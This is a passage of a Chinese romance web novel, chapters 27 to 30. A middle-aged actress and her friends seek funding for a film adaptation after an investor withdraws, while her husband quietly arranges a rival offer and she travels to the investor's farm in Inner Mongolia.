最好笑的还是他说起当年在大学时去她见面会的情形,好多应真都不知道的事儿,她笑着看了身边男人一眼,“我发现我有些不认识你了。如果你说的是真的,那你心机也太重了,从来没听你说过这些事。如果你是胡说八道,那你真的是为了公司上市,什么话都说得出来。就像他们在网上说的那个词,人设,你这是拗深情人设呢……” 宁君昊根本没听她说什么,他在想别的事,终究还是忍不住问出来,“我还没问你呢,那天见面会你留了你的邮箱,后来是不是很多男生给你写信?” 应真一边吃饭一边继续看视频:“这还用问吗?见面会后几天,我邮箱都快爆了。光回信就花了我好几天时间。后来不知道怎么邮箱被封了。估计网站以为我在搞诈骗吧?” 面前的平板被人抽走,宁君昊的声音突然有些冷,“我去跟他们说下修改意见。” ??? 应真冲着他的背影道:“你还没问我意见呢!” 刚说完,她的手机响了,余姐在群里发了一堆图片。是个叫EthanQin的男人的资料。 余姐今天回去后,就在网上搜索了那个叫秦毅的男人,没搜到什么。但是在外网搜索那人的英文名字EthanQin,倒是搜出不少内容。对方是硅谷一家颇有名气的科技公司的创始人。 余姐瞬间把心放回了肚子,她把EthanQin在外网资料发到三人的小群里头:“咱们就等安心等消息吧。书韵说的没错,这种层级的大佬,三百万美元投资确实不算什么。” 应真翻了翻那些资料,她不懂计算机,但能看出来投资人确实挺有实力。 她和余姐在群里聊了几句,黄书韵一直没说话。应真吃完晚餐,看了会剧本,便去睡觉了。 宁君昊一直在书房里,也不知道在忙什么。应真不管他,自己先睡了。 第二天早上醒来,应真的手机炸了。群里上百条未读信息,余姐和黄书韵都打了好几个电话给她。 应真点开那些信息看了一眼,头皮麻了——那个叫秦毅的投资人要撤资?! 第28章 第28章他躁动了几天的心,这会…… 黄书韵的作息时间一向很阴间。凌晨四点半接到秦毅微信,那时候她刚要上床睡觉,吓得立刻打了个电话过去。 秦毅在电话说他不打算投她的项目,等会就坐飞机回锡城。 黄书韵傻眼了:“不是啊!大哥,你咋说撤就撤呢?” 秦毅的声音听上去也有些疲倦,“我也不想这么早,北市到锡城每天只有早上八点半这一班飞机。你放心,你的项目不缺人投。” 黄书韵脑袋是懵的,以至于冲下楼的时候,连衣服鞋子都没来得及换。 秦毅人还在北市酒店,离她住的翠苑也就二里地。这个点她在手机上根本叫不到车,只好骑上共享单车杀了过去。到了酒店大堂,她打了个电话给秦毅,告诉他自己已经在他酒店楼下了。 等了一小时,秦毅才从房间下来,看到黄书韵趿着拖鞋,穿着身一身居家的摇粒绒卫衣,披散着头发坐在大堂旁边的沙发上。和上回他回国时,两人在咖啡馆见面时那个文艺精致的成熟女人形象简直判若两人。 一看到他,黄书韵就站了起来,说实话她有些生气,但是她还在努力克制自己,“秦毅,你知道这事对我们来说很重要。你撤资,你不能在电话就一声就撤啊,你至少要让我们搞清楚你为什么撤吧?” 说着说着,黄书韵发觉自己这话怎么这么耳熟。好像被分手后,死乞白赖地追着渣男问,你为什么跟我分手? 她这个年龄,为男人已经干不出这种事了。只有跟工作相关的事,才能让她低声下气,身段放软。她知道自己现在不过是凭借着跟秦毅中学的同学情份在找对方争取最后的机会。 黄书韵语气不由自主软了下来: “秦毅,我这边拍摄团队都沟通好了,人家都把年底的时间空出来了。选角会也已经定了,你突然说撤资,我怎么跟这些大佬们交待?你说说,以后我还怎么在圈子里混?” 秦毅在她旁边的单人沙发上坐下,然后招呼她也坐下,“你别急着啊。你们这个项目不错,我撤资了,会有人来投的。” 黄书韵有些狐疑地看着他:“你怎么知道会有人来投?是不是谁找了你,跟你说了什么?” 秦毅撒谎不带眨眼的:“书韵,其实投你这个项目我也是心血来潮。看到你在朋友圈里发的那个,我想到你以前上高中的时候,就说以后要当导演。你拍戏缺钱,我就给你投点呗。昨天一家叫光渊的影视公司找到我,说他们想全额投资,我想想人家确实是专业的,我在内蒙又不可能经常往北市跑,所以我就让给他们了。只要有人投资,谁投还不是一样?” 光渊影视?黄书韵隐约有些印象,于是更觉得奇怪了:“他们想投,怎么没联系我?” “会联系的。你等电话吧。”秦毅一脸笃定,他也不想跟黄书韵说太多,拿起手机看了眼时间,“我得去机场了。” “你现在就走?”黄书韵真的傻了,感觉自己像个被抛弃的孩子。看到秦毅站起来,她也跟着站起来。 她还是更希望秦毅来投资。他是搞IT的,不懂拍电影的事,相应的,他也不会插手太多。而那些影视公司,一个比一个精滑,即便他们同意投资,这钱也不是那么好拿的。剧本、选角和拍摄,每个环节都要来插一手,这种事黄书韵见得太多了。 况且,光渊找到秦毅说投资,却迟迟没来联系她,这八字还没有一撇谁知道什么情况。 黄书韵不想放弃最后一丝希望,“我现在给应真和余姐打电话。我已经跟她们说好了,今天跟一起跟你见个面。不管你投不投,今天大家一起吃个饭,你明天再回去也不迟。” 秦毅:“饭就不吃了。我得走了。” 从在朋友圈看到那个熟悉的名字开始,他躁动了几天的心,这会已经彻底平息。原本想当面告诉她,当年她曾经挽救了一个生命,现在又觉得有些多此一举。 秦毅从兜里掏出一张名片递给她,“这是我农场的地址。你要什么时候想去那玩,就来找我。咱们后会有期吧。” 这一趟回北市,他什么行李都没戴,空手来空手回。以后大概没什么契机再回北市,他和这个城市好像总缺点缘份。 黄书韵站在路边,目送秦毅坐上去机场的车。她都没时间伤春悲愁,赶紧把秦毅撤资的事在群里跟应真和余姐说了。 回到家果然接到一家名叫光渊影视的负责人的电话,对方表示愿意投资,想跟黄书韵和她的几位合伙人一起坐下来聊聊《结婚十年》的项目。 “黄小姐,您的项目我们想全额投资。您什么时候有空,我们想跟您和您的伙伴坐下来聊聊。” 如果时间倒推到几天之前,黄书韵可能会高兴,但被秦毅撤资就像是刚丢了个绩优股男友,即便有新人表示他也很感兴趣,她还是有些提不起劲来,“我听秦毅说了。你们投资是不是有什么附带条件。如果有的话,咱们还是先说清楚。” 光渊负责人在电话那头笑道:“听说您还有两个合伙人,咱们还是一起坐下来聊聊吧。” 黄书韵:“行。下午两点,城东家鹊儿咖啡馆,咱们在那碰头。” 挂了电话,她还有点失落,觉得自己事儿没办好。当初信誓旦旦地跟余姐和应真说钱的事,她来搞定,结果弄成这样。 黄书韵也没心情睡觉了,吃了几片面包当早餐,余姐和应真终于在群里回复消息了,两人都在安慰她。这一行就是这样,投资被人撬掉,已经拍板的女主角被换掉,没有最后一刻签合同都不能算数。 大家也都是经历过风雨的人,还不至于完全没有心理准备。 余姐:“这个光渊我知道,先前一直专注做动画电影。这两年开始涉猎其它题材。可能人家是真的确实觉得咱们的题材很合适。你既然约好了,今天跟他们先聊聊再说。” 应真:“好事多磨。咱们尽力争取。靳年那边也可以问问,看看他对咱们项目感不感趣。” 黄书韵:“那你们俩到翠苑来找我,咱们把手头的关系都捋捋,看看还有哪些人可以联系的。” * 宁君昊正在做早餐,听到身后噔噔噔的脚步声。转过头,看到应真穿戴整齐拎着包下楼来了。 看他在厨房里忙碌,应真有些惊讶,“我以为你出门了呢。” 这是太阳打西边出来了,他竟然在厨房里忙。现在的宁君昊可是大忙人,别说做早餐了,平时几乎很少在家。 宁君昊把做好的三明治端到桌上,目光在她涂了口红的唇上停留了一会,“你这是打算出门吗?” 这个国庆,他推掉了好几个会议。女儿去奶奶那了,他想在家陪陪应真,他们已经好多年没有过二人世界了。 应真拿起一块三明治吃了一口,还是像以前那样随意地跟宁君昊聊自己的工作,“我们那个项目之前的投资人撤资了,现在有家影视公司想投资,黄书韵约我跟余姐去她那先碰个头,然后再一起去跟影视公司的人见面。” 宁君昊没想到光渊那边动作这么快,“你们约在哪里见面?这几天我没什么事,我送你吧。” 应真正要换鞋出门,听他这么说,转过头看着他。宁君昊被她那蕴着笑意的眼眸瞧得有些不自在,“怎么了?” 应真抿唇笑:“没什么。” 她只是觉得他刚才说话的样子,很像他们刚结婚时的样子。 车子开到应真以前在翠苑的家。宁君昊已经好多年没来过这里了,险些开错了地方。 应真更觉得陌生,毕竟二十多年了,翠苑四周一个个高档楼盘拔地而起,倒衬得翠苑多少显得灰扑扑有些陈旧了。 宁君昊把应真送到单元门口,“快结束了你打电话给我,我来接你。” 应真冲他摆手:“你别来接我了。下午还要跟影视公司的人见面,还不知道到几点。” 宁君昊坐在车里目送她进了电梯,然而开车离开翠苑。 应真在翠苑的房子在十八楼,是套九十平的两居室。她跟宁君昊结婚后,便让黄书韵住在里面帮她看房子,没有收她租金。 她到的时候,余姐也已经到了。进屋后,黄书韵带她四处看看。这房子当初买的时候是精装房,也快二十年了,前几年黄书韵自掏腰包找施工队重新装修了。 三个女人坐下来,黄书韵把今天跟秦毅见面的经过说了一下,“他早上四点半发个信息给我,说他打算撤资。我跑到他住的酒店去找他,问他为什么撤资。他说是因为光渊的人联系他,说他们想全额投资,问他能不能退出。他觉得自己也不懂影视这一行,就给退了。这个理由你们信吗?” 应真想了想:“估计有别的什么原因。他不好跟你说。” “我也觉得他没说实话。”黄书韵说起以前念书时的旧事,“你们别看他现在人模狗样的,上学的时候一双球鞋可以穿一两个月不换,薰得前后左右的女生都受不了。不管谁让他换,他都不听的。就他这种人,别人随随便便让他撤资,他就撤?鬼扯吧!” 余姐在这一行干了几十年,什么样的人没见过。她是结果导向思维:“现在什么原因也不重要了。他人这会估计都已经到内蒙了。我们总不能打个飞的去内蒙问他干嘛撤资吧?光渊的人不是联系你了吗?他们那边怎么说的?” “我听他们口气,钱不是问题,但有条件。” 说到这,黄书韵便把自己已经划好的几条线摆了出来:“我对门外汉和门内汉的要求是不一样的。像秦毅那种大款,他给钱就行了,毕竟他也不指手划脚。但对光渊的要求又不一样了,他们必须是发自内心地喜欢结婚十年这个故事。首先要在内容品位上达到共识,然后他们不能对选角和拍摄进行干涉,这样才能奔着一致的目标去。” 应真点点头:“书韵,我懂你的意思。毕竟你花了那么多心血写出来的小说,这个IP就像你的孩子一样。你当然想让这个项目按照你的想法去呈现。” 余姐:“那我们就这么说定了。下午就按这个去跟光渊那边的人谈。咱们先去见见,看看他们葫芦里卖得什么药。” 聊完工作,黄书韵下厨做西红杮打卤面当午餐。 余姐吃得很香,忍不住感叹:“人啊,还是得找点事做。前阵子我打算退休了,一个人在家,有一顿没一顿的。有时候饿了,才想起来吃一顿。” 应真苦笑:“我倒羡慕你这样的生活。当妈的,即便自己不想吃,也得给孩子做。” 黄书韵:“所以我坚决不会生孩子。那种重复的生活,太可怕了。像我这种搞创作的人就不适合结婚,日常的重复才是对人最大的磨损,早晚把灵气给你磨光。” 应真觉得闺蜜说得很有道理。这段时间,她几乎每天一睁眼都是一样的事儿。昨天干的事儿,今天接着干。如果她没有孩子,或许还可以想尽办法去对抗这种重复。有了孩子,似乎有些无能为力了。因为孩子需要在这种稳定的生活秩序中长大。每天差不多的时间接送,一日三餐营养均衡,最后过日子无非就是这些鸡零狗碎。 余姐已经熬出来了,看她们俩一脸沉重,笑道:“还是有幸福的时候的。不然怎么那么多人好了伤疤忘了疼,生了一胎,还要生二胎三胎?” 幸福?说实话应真没感觉到。也许四十岁的她感受过吧,反正她来这么些天,没觉得有女儿哪里幸福了。 黄书韵吃饱了,放下筷子,“难怪年轻人不爱跟我们这种阿姨聊天,坐在一起就开始聊这种庸俗话题。” 应真和余姐在一旁都笑了。三人吃饱了,收拾了一番出门去见光渊影视的人。 …… 黄书韵跟光渊影业的人约在她平时经常去的家鹊儿咖啡馆。那地方停车方便,长假期间相对清静,适合谈事。 她们仨坐下来,一人点了一杯咖啡。光渊影视的老板周立轩就来了,身后还跟了个助理。 周立轩三十来岁的年纪,搞动画出身,一身潮酷的打扮。黄书韵看他第一眼就觉得不对劲,就这人会对她的项目感兴趣? 虽然她心里犯嘀咕,但还是像往常做项目那样,把准备好的项目PPT给周立轩说了一遍。 周立轩跟他助理一直安静地听着,也没问什么问题。说实话,黄书韵也不确定他们听进去多少。 果然,她说到一半的时候,周立轩打断她:“黄小姐,我们光渊虽然是做动画出身,但这两年也开始拍其它类型的电影。我们公司内部对你这个项目还是很喜欢的。对这个项目,我们就一个条件,如果你们能答应,我们将独立全额投资这个项目。” 一时间桌边三个女人同时看着他,“什么条件?” 周立轩看了应真一眼,有些抱歉的口气:“这部电影我们有中意的女主角。如果你们答应女主角由我们这边来定的话,我们现在就可以签定投资协议。” 第29章 第29章“有对付她的精力,你不…… 空气安静了一瞬,应真其实想问周立轩,他们选中的女主角是谁。一旁的黄书韵神色已经淡了,她将电脑合上,拿起来塞进自己的电脑包,“这个戏的女主角早在项目启动之前就已经定好了,非她莫属。如果换女主角是光渊跟我们合作的前提条件,那不好意思,这个合作恐怕没的谈了。” 余姐也觉得有些奇怪:“周总,我们这个项目,只是个低成本小制作,不是什么热门大IP。如果您是想推自己人,我们这部电影可能不太合适。” 两个女人想也不想就把他给拒了,周立轩有些尴尬。今天他过来老板也交待过了,事儿必须给他办好。 他扫了眼桌上三个女人,一个神色冷淡,一个垂着眼喝咖啡,只有应真看上去温温柔柔的,似乎很好说话的模样。 于是他将目标转向桌上最温柔的女人:“应老师,虽然我们这边有属意的女演员,但只要达成合作,我们想邀请您担任这部电影的监制。我保证最后分红不会低于您出演女主角得到的片酬。” 应真看着他,淡淡一笑:“抱歉。我对结婚十年这部小说有着特殊的感情。我还是想出演女主角。” 黄书韵从开始打算写这本小说,就经常打电话跟她聊创作想法。发生在应真身上的离奇事件,更让她开始重新审视婚姻这件事。应真忽然有了很多想表达的东西,她觉得自己能诠释好女主角。 周立轩看她也说不动,只能继续劝黄书韵,称呼也随之一变:“书韵姐,我们是非常有诚意想和你们合作的。只要你们同意这个条件,投资款立刻到帐。而且后续如果超出预算,我们还会追加投资。我们公司内部商量好了,愿意给这部电影总共五千万的投资预算。” 他知道这群姐姐们不见兔子不撒鹰,一狠心一咬牙便将自己底牌亮出来了。 “五千万?!”黄书韵瞪大眼睛看着他,撑不住笑了:“说说,你们想推的女演员是谁?” 周立轩报了个二线女明星的名字,那位女明星前些年结婚生子,也有很长时间没有作品问世了。 咖啡厅里,三个女人互相交换了个眼神,最终还是余姐开了口:“周总,您给的条件确实让人心动。我们回去考虑一下。” 周立轩努力压住唇角的弧度,果然一报出五千万,几个女人看他的眼神都变了。 他松了口气,冲她们几个点点头:“那你们再商量一下。我等你们消息。” 说完,他和对面三个女人一一握手,然后和助理一起告辞。 周立轩的车子就停在咖啡馆门口,上车后他长舒一口气。助理正准备发动车子,听到老板在一旁说道:“我最怕跟这群上了年纪的女人打交道了。她们不好色不好赌不吃饭不洗脚,除了钱没别的爱好!你看她们刚才那样,也就谈钱她们才有点反应!” 助理觉得老板说的挺对,“周总,您说她们会同意咱们的条件吗?” 周立轩嗤笑一声:“那可是五千万啊?谁会跟钱过不去呢?这要不是……她们能拿到五千万的投资?她们真以为天上有掉馅饼的好事啊?” 车子从城东大道开出来,往市中心方向去,周立轩拿出手机开始打电话。 …… 家鹊儿咖啡馆,服务员将刚做好的两杯澳白端上来,发现刚才还在的两位男客人已经走了。 服务员不由有些惴惴,今天虽然店里人比平时少,但他们一直在做外卖单。因为外卖平台都有时间限制,所以堂食客人点的咖啡难免做得慢了些。 这一桌三个女人最近经常来,尤其是那个戴眼镜的圆脸女人,经常带着电脑到店里工作,服务员认识她,赶紧将咖啡端上,“对不起,店里今天外卖单太多了。” 黄书韵接了过来:“没事。这咖啡给我。幸好他们走了,不然浪费我一杯咖啡。” 余姐知道应真不喝加奶的咖啡,也伸出手:“另外一杯给我吧。” 服务员松了口气,端着托盘走了。应真正在手机上查刚才周立轩说的女演员的名字。这十几年娱乐圈很多事很多人,她都不知道。 黄书韵几口就把咖啡喝了:“你知道刚才周立轩说话的时候,我想到什么吗?我TM想到杀猪盘。五千万?他不是搞杀猪盘的吧?画这么大的饼?” “杀猪盘”应真知道,她住的小区物业最近拉了横幅,让业主警惕“杀猪盘”和裸-聊陷阱,她特意到网上去查了什么意思。 应真脑中闪过刚才周立轩的表情,她是演员,对人的表情和眼神特别敏感,“我感觉周立轩挺想投的,他刚才的眼神特别急切。” 余姐觉得周立轩跟这个项目的调性就不搭:“刚才书韵跟他介绍咱们这个项目的时候,他压根没听。一点不像他说的那样对咱们这个项目感兴趣。” 剧本和拍摄的事,他聊都没聊,上来就说要用他们选的女主角,一副来砸钱捧人的势头。可是稍微一想,又不像是捧人的。 应真的手机弹出一条消息,她拿出来看了一眼:“靳年回复我了。他没说他有没有意向。只说他正在狮城出差,等他回国再聊。” 因为投资的事,应真中午的时候,厚着脸皮给靳年发了条信息。 黄书韵深吸一口气:“姑且当个备胎吧。” 余姐突然想到什么,一脸认真地看着应真:“真真,你就没想过让你老公投吗?我知道他手里几款游戏的营收很吓人的,他的实力一点不比那个秦毅差。” 一个是亲闺蜜,一个是自己的经纪人,应真觉得没什么好瞒的,神色淡淡道:“我复出拍电影这事,宁君昊不赞同。他就希望我待在家里,把注意力全放在他和女儿身上。所以,我根本没想过让他投资……” 她这么一说,黄书韵和余姐就懂了。到了她们这个年纪,都知道家家有本难念的经,每对夫妻都有每对夫妻的相处模式,旁人也不好说什么。 黄书韵从昨天晚上到今天根本没怎么睡,这会脑袋开始发沉,“都怪秦毅,撂摊子回内蒙了,搞得我们这么被动。他自己也说三百万美元对他来说不算什么。我觉得他早上根本没和我说实话。你们不觉得这事很蹊跷吗?尤其是光渊那边,一张口就是五千万。还知道秦毅投资了咱们,私底下找他谈……” 应真虽然没见过秦毅,但听黄书韵说的,又看了余姐发到群里的资料,觉得对方确实是个人物,“书韵,你有没有想过去锡市找他问个清楚?我觉得光渊那边的人肯定跟他说了什么,他没跟你说……” 余姐也在一旁道:“依我说,光渊那边根本不靠谱。你直接杀到秦毅那个农场去,再争取一下,最好还是他来投资咱们这个项目。” 黄书韵手插进兜里,摸到秦毅给她的那张名片,有些犹豫:“他都决定撤资了,我再去有什么用啊?白跑一趟,浪费机票钱。” 应真当演员,总是处于被挑选的位置,习惯了凡事都要去争取,“这可不好说。他能为了咱们这个小项目,特意从锡市跑到北市来,说明他是真的想投资。至于后面为什么改变主意,不得而知。咱们再争取一把,只要有百分之一的可能,就值得试一试。” 余姐拿起手机,对黄书韵道:“你别废话了,把你身份证号码发给我,我来给你订明天去锡市的机票。你快去快回吧。” 到了这个关头,管它什么救命稻草,只要有一线希望,都要试一试。黄书韵拿起手机:“还是我自己买吧。” 余姐睨她一眼:“从今天开始,由我暂时担任创梦的财务。所以跟项目有关的开销找我报帐。” 虽然那天黄书韵拟了个协议,三人各占三分之一的股份,应真和余姐都觉得不太合适。《结婚十年》的IP当年嘉鼎可是花了八十万购入的,就当黄书韵拿着IP入股吧,余姐和应真又各出了一百万当作创梦的启动资金,还让律师重新拟了合伙协议。 所以这一次是正儿八经的中年创业。 余姐哐哐在手机上一通操作,“我给你和应真买了明早去锡市的机票。应真,你陪书韵一起去。她一个人去,我还真的不放心。” 应真没想到这么多年了,余姐还保留自己的身份证信息。 余姐看她呆呆地看着自己,“啧”的一声:“不只你,我以前带的艺人的资料都在手机备忘录里。我只是懒得删而已。” 一听说应真陪她一起去,黄书韵瞌睡也醒了,高兴得拍手:“太好了!我早上跟秦毅说了那么多,他一副不为所动的样子,你们让我去内蒙找他,我真不知道还能跟他说什么。我这人求人办事的时候,特别僵硬!有真真陪我去,太好了……” 她是拿秦毅没辙,没准应真有办法呢? 应真拍了拍她的手,“我陪你去。那么偏的地方,你一个人去,我也不放心。” 商量好了,黄书韵嚷着要回去睡觉。余姐开着车把她们俩送回去。 …… 应真一推开家门,便闻到肉香气,宁君昊正在厨房里煎牛排。 等她洗完澡下来,晚饭已经摆上桌了,婆婆也刚好打电话进来。 何方珍在电话那头语气很不快,“我说然然这几天怎么闷闷不乐,她说你打算复出拍戏?” 应真脑壳疼,硬着头皮“嗯”了一声:“妈,我是有这个打算。” 何方珍没想到竟然是真的,声音不由高亢起来:“你说你倒底怎么想的?这么多年,我让你生二胎,你咬死不生。现在女儿大了,你闲得要出去拍戏!你去外头看看,有哪个像君昊这样的男人,只有一个女儿的?” 一句接一句劈头盖脸砸了过来,应真没有多少跟婆婆打交道的经验,正想着怎么回,电话被宁君昊拿走了。他朝那头说了句:“妈,我们正在吃晚饭。等我们吃完了再说。” 说完便直接掐掉了电话。应真看着黑掉的屏幕,头更疼了,叹道:“我还以为……这些年我跟妈的关系不错。” 宁君昊不以为然:“你不需要跟我妈有多好的关系。” 这话听在应真耳朵里多少有些大逆不道,抬头看着面前的男人。宁君昊笑了,伸手按住她的手:“我说真的。我妈是个很难讨好的老太太。你真的犯不着。有对付她的精力,你不如多把心思花在我身上。” 应真听到最后两句,忍不住白了他一眼,“你还要我怎么把心思花在你身上?” 宁君昊没说话,过了一会道:“你上次抱怨我陪你的时间太少。这次假期我推掉好几个会议,想多陪陪你。你倒好,一整天全陪了朋友去。” 这话怎么听着不对劲,倒打一耙了属于是,明明他才是过分的那个。 应真发现这些年宁君昊把自己吃得死死的,吃准自己对他心软,吃准自己不想他不开心。 这回她不接他的茬,斜乜他一眼:“你这么说我可就太不公平了。我不过放了你一天鸽子,你就受不了。你平时两手一摊,甩手掌柜什么都不管,我可没跟你计较。” 头一回以退为进不管用,宁君昊决定换个话题:“这几天女儿不在家,我们去仑山湖住几天怎么样?” 仑山湖在北市市郊,是个巨大的人工湖水库,被一座森林公园包围着,环境非常好。前些年政策还没那么严的时候,有个开发商在景区里盖了个别墅度假村。宁君昊在那买了栋别墅,还找专门的装修公司装修过了,只不过一直没去住过。 应真低头切着牛排,嘴上道:“抱歉,老公,国庆这几天我要跟书韵一起出个差。” 第30章 第30章“秦先生,你好。”…… : 宁君昊白天已经让人提前去仑山湖别墅打扫,采买日用品。他原本打算明天一大早跟应真一起去那里过几天二人世界。 老婆失忆后,不仅恢复了年轻时的活力,对他也不再像以前那样冷漠,甚至变得像新婚时期那样粘他依赖他,宁君昊很享受这种感觉。 影视公司那边联系他,说聊得很顺利,她们回去考虑几天。如果没有意外的话,她们应该会接受他给的offer。 宁君昊松了口气,心情也好了起来,又主动做起了晚餐。 所以当应真说国庆假期她要出差,他的脸色瞬间变了:“出差?去哪里出差?” 应真抬头,看到他阴沉着脸,明显不高兴,到嘴的话又咽了下去。这个时候如果说她和黄书韵去内蒙,他肯定会更加不高兴。她只好硬着头皮道:“我们就去津城办点事,两天后就回来。” 晚饭自然不欢而散。宁君昊好久没有这么去取悦谁了,没想到想取悦的女人似乎并不领情。 他沉着脸一言不发地进了书房。结婚时间长了,他跟应真慢慢也不吵架了。对中年夫妇来说,吵架是一件性价比很低的事情。不解决问题,还消耗情绪体力。 应真也没打算哄他。毕竟,她已经下定决心重新复出拍戏了,以后工作会慢慢忙起来,像这种情况会越来越多,他早晚得接受。 不过今天太阳打西边出来,他竟然做了两顿饭。应真还是去把他用完,乱得像战场一样的厨房收拾干净了。 打扫完厨房,她上楼收拾行李。这次过去两天,她没打算带太多东西。翻出以前拍戏时经常用的双肩背包,然后开始收拾洗漱用品和内衣裤。 打包行李时,应真发现自己几乎不需要思考,都成肌肉记忆了。只是有很多东西,她不知道自己放哪里的,又不想问宁君昊,问他他很可能也不知道。应真索性打开外卖软件买了些常用的药品。 一切收拾妥当后,她拎了拎背包。还好,不是很沉。等她做完运动,洗完澡出来,宁君昊还没回卧室。 说实话,应真也有些生气。这男人上了年纪,越发自我为中心,他就恨不得她时时刻刻围着他转才好。 宁君昊现在控制欲比年轻的时候要强很多。明明结婚的时候,他们很多事情还是有商有量的。 应真还要赶明天一早的飞机,不想搭理他,直接关灯睡觉了。睡到半夜,她被一阵异样的感觉给弄醒了。 宁君昊显然还带着情绪,动作比平时要粗鲁。应真鼻息间全是他身上的气息,肩上一阵刺痛,宁君昊竟然咬了她一口。 应真困极,听到他在自己耳边咬牙切齿说了句“小没良心的”。她忍不住咕哝:“倒底谁没良心?!” 第二天一早,应真醒来的时候,家里只有她一个人。宁君昊不在家,她照了镜子,发现肩膀上赫然有个牙印,才意识到昨天根本不是做梦! 应真真的无语。这男人上了年纪,气性也变大了。 * 锡市机场小巧而安静。下了飞机,草原的风混着青草和泥土的气息将人包裹住。 应真能明显感受这里的气温比北市要低,风也更大。她比黄书韵要怕冷,赶紧把羽绒服拉链拉上,帽子也戴好。 她们这次没来跟秦毅打招呼,按照那张名片上的地址,在网上查了一下,他的农场距离机场一百四十多公里,开车过去大约两小时。 两人在网上租了一辆车,直奔秦毅的农场。司机是个本地大叔,性格爽朗,就是说话口音很重,要仔细听才能听得懂几句。 黄书韵这几天没睡好,加上北市气温骤降,她有轻微的感冒症状。飞机上,应真给她冲了一包感冒冲剂,逼她喝下去。 一上车黄书韵就开始打瞌睡,也不知道过了多久,她被震醒了。醒来看到外面坑坑洼洼的炮弹路,她惊呆了,“咱俩这是上月球了么?” 司机在前面咧嘴笑,说了句什么,黄书韵没听懂。应真右手紧紧拽着车顶扶手,在一旁道:“司机说这段路大概有二十多分钟。二十分钟之后就好了。” 路面一个又一个的大坑,黄书韵赶紧挺直后背坐好,拽紧扶手。她本身感冒就不舒服,这下晃得她头更晕了。应真看她脸色不大好,从包里掏出晕车药给她吃。 黄书韵忍不住感叹:“你还真是个小叮噹!” 应真笑:“这些药都是我以前出门拍戏必备的。” 二十分钟后,总算开过这段颠到怀疑人生的小路。车子经过一个很漂亮的湖,湖水是蓝绿色的,湖边大片的草地,景色美极了。 司机以为她们是来这边旅游的,把车子停在路边,给她们时间拍照。应真拍了几张风景照发到群里给余姐看,又查了一下她们的位置,原来这个湖叫达达湖。 黄书韵好久没有看到这么碧蓝透亮的湖水了,在城市待了久了,感官变成日渐麻木,对周遭一切都视若无睹。这会站在湖水边,被草原的风一吹,感觉全身上下每一个毛孔都舒张开来。 应真在草原上拍过戏,只觉得眼前的一切让她感觉熟悉亲切。 她和黄书韵今天都是素颜,头发也被风吹得乱七八糟,顾不上蓬发如飞女鬼般的形象,笑嘻嘻地搂在一起,让司机大哥给她们拍了张合影。 司机继续往前开,又开了大概十几分钟,开到附近一个村庄。大哥指着远处的草地,用带着浓重口音的普通话告诉她:“只能送你们到这里了。里面是牧民私人草地。” 两人拎着行李下车,看着这一望无际的草地,有些傻眼。 这个季节的草由翠绿转向枯黄,风穿过枯草发出沙沙声,几棵叫不出名字的树和一簇簇矮灌丛点缀在宽阔无边的草地上。 应真穿着蓝色羽绒服,黑色牛仔裤,脚上穿了一双黑色的靴子,背着个双肩包,沿着草地往前走。黄书韵带了个小行李箱,看她两手空空,只有肩上一只背包,大声道:“还是你明智!这草地拖着箱子也太难走了!” “你感冒了。我来帮你拎吧。” 应真看她走得吃力,过来帮她拎箱子。两人拿出手机开始导航,走了十几分钟都没看一个人影。 黄书韵本身就有些头重脚轻,走了一会后背全是汗,累得一屁股坐在地上,“不行。我要给秦毅打电话。让他来接我们。” 来之前,她们没有联系秦毅,就是打算出其不意。要是提前告诉他,他肯定想好了一万个拒绝理由等着她们呢。 …… 秦毅今天很忙,前段时间他在附近县城的废品收购站发现两个废弃的木屋。他找老板买下来,今天老板给他送来了。 这里的农场不能建固定的建筑物,只允许盖少量的移动建筑。他来农场这一年,一直住在毡房里,连他的马都住得比他好。 他想趁着冬天来临之前,给自己改造一处可以洗澡可以取暖适合居住的房子。他正拿着图纸跟村里的木工朝鲁商量改造方案,兜里的手机响了。 秦毅掏出来看了一眼,是黄书韵打过来的,他随手接了起来,听到电话那头呼啸的风和黄书韵有气无力的声音,“秦毅,你农场到底在哪啊?我按照你给我的地址导航,这都走了大半天,一个人影都没见着。你赶紧来接我们吧。” 秦毅愣了愣:“接你们?你跟谁一起来了?” “我和应真,我们俩已经快到你的农场了。我发个定位给你。你赶紧来接我们。我们实在走不动了。” 木工朝鲁今天特地从城里赶过来,他拿着一把卷尺在那两间二手木屋上比划。刚才他看到秦毅给他的图纸了,哪有人在这种移动木屋上开那么多窗户的? 他正想跟秦毅说呢。秦毅接了个电话回来,脸色就变了,有些着急地对他说:“我今天有事,你先回去吧。开工等我电话。” 朝鲁不高兴,感觉自己被他忽悠了,说话不由结巴起来:“你你你,这不是耽误我一天工吗!” 他在城里干得好好的,秦毅找到他爹,让他过来帮他修房子。 他从城里赶来,结果秦毅说他有事,把他扔在这,害他损失一天工钱。 秦毅看出他不高兴,拍了拍他的肩,“我不耽误你工夫。今天算你干一天活。” 朝鲁听他这么说,咧嘴憨笑起来:“行吧。” 秦毅下意识地往马房奔去,跑到半路才反应过来,又回到毡房。他胡乱洗了把脸,一照镜子,发现自己简直像个野人,赶紧拿出电动剃须刀。 开机发现没电,他心头一阵焦躁,忍不住骂了句“操”。只能拿出那把简易剃须刀给自己快速修了个面。然后就着热水洗了手,把指甲缝里反反复复洗了好几遍。最后又换了身衣服,总算自我感觉可以见——女人了。 拿出车钥匙,把那辆好久没开的路虎开出来。秦毅打开手机,给黄书韵发了个实时定位申请。 …… 黄书韵休息了一会,体力恢复了一些。她拿着手机,一直在跟秦毅发语音,告诉他自己所在位置。 应真坐在一旁的草地上,双肩背包放在脚边。这个季节,草原的太阳虽然并不晒,但紫外线很强。她将帽檐往下压了压,脑中想的是,她们今天来找秦毅,是有些唐突的。等会该如何跟他说,让他继续投资呢?她把她觉得这个项目最吸引人的地方重新捋了一遍,还是觉得像秦毅这种行业外的人士,确实有一百个理由拒绝她们。 算了,兵来将挡,水来土掩吧。来都来了,总要尽力争取再说。 草原无遮无挡,她们坐在太阳底下等了十几分钟,远远地看到一辆黑色的越野车开过来。 秦毅打老远看到两个人坐在草地,他在距离她们几十米的地方停下来,翻身下车。刚才还坐着的两个女人都站了起来,朝他的车子走过来。 前面穿着黑色羽绒服的是黄书韵,她挥舞手冲他打招呼:“秦毅,你这农场也太大了!我腿都快走断了!” 看他走近了,黄书韵拉过应真,“这是应真。我那个电影的女主角。” 秦毅目光落在她身后那个穿蓝色羽绒服的的女人身上,她戴了一顶宽檐防晒帽,上半张脸被帽子挡得结结实实,只能看到一截鼻子和嘴唇。 